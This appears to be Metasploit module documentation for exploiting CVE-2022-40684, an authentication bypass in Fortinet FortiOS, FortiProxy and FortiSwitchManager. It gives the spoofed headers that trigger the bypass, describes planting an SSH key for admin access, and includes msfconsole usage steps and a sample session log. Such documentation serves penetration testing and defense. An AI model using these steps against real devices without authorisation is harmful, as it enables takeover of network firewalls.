## Vulnerable Application

An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS (firewall)
FortiProxy (web proxy), and FortiSwitch Manager products. The vulnerability allows remote, unauthenticated user to
bypass authentication and gain access to the administrative interface of these products by using a specially
crafted http/s request.

On October 3, 2022, Fortinet released a software update that addressed this vulnerability (CVE-2022-40684).

The following products are affected:

- FortiOS 7.0.0 to 7.0.6
- FortiOS 7.2.0 to 7.2.1
- FortiProxy 7.0.0 to 7.0.6
- FortiProxy 7.2.0
- FortiSwitchManager 7.0.0
- FortiSwitchManager 7.2.0

### Exploitation

This module will abuse the authentication bypass vulnerability in the affected products to add a new ssh public
key in the authorized keys of the targeted user (if no user is provided it'll try to detect it) and then connect
over ssh to the target system (if no ssh private key is provided this module will automatically generate one).

To do so it will add the following header in all HTTP requests:
```
User-Agent: Report Runner
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
```

This module doesn't intend to overwrite the ssh keys already configured in the target system, it intends to
**add** a new key in the last slot, if it is available or overwriting it.

Even though the `check` detects the system as vulnerable, it performs a further validation if the ssh port is open and will fail otherwise.

After a successful exploitation it will remove the just added key as a clean-up process. We assume it is the last key.

## Verification Steps
Confirm that functionality works:

1. Start `msfconsole`
1. `use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684`
1. set `RHOSTS`
1. set `HttpTrace true` (optional)
1. set `SSH_DEBUG true` (optional)
1. set `VERBOSE true` (optional)
1. `exploit`
1. Confirm you have now a cmd session

## Options

### TARGETURI (required)

The path to the Fotigate API (Default: `/`).

### USERNAME (required)

The username of the target user (Default: `admin`).

### PRIVATE_KEY (optional)

The path for the SSH private key to be used to authenticate. It must be in PEM format.

Example how to generate it:
```
ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
```

### KEY_PASS (optional)

The password for a given SSH private key (if it has one).

### SSH_RPORT (required)

The SSH port to connect to (Default: `22`)

## Scenarios

### vulnerable application version and OS
This module has been tested successfully on FortiGate v7.2.0.

```
msf exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > exploit 

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking XXX.XXX.XXX.XXX:443
[+] The target appears to be vulnerable. Target seems vulnerable
[*] Executing exploit on Interactive SSH
[*] Establishing SSH connection
[*] SSH session 1 opened (172.25.226.18:38791 -> XXX.XXX.XXX.XXX:22) at 2022-10-15 04:00:41 +0200

FW01 #  get sys status
Version: FortiGate-100F v7.2.0,build1157,220331 (GA.F)
Firmware Signature: certified 
```
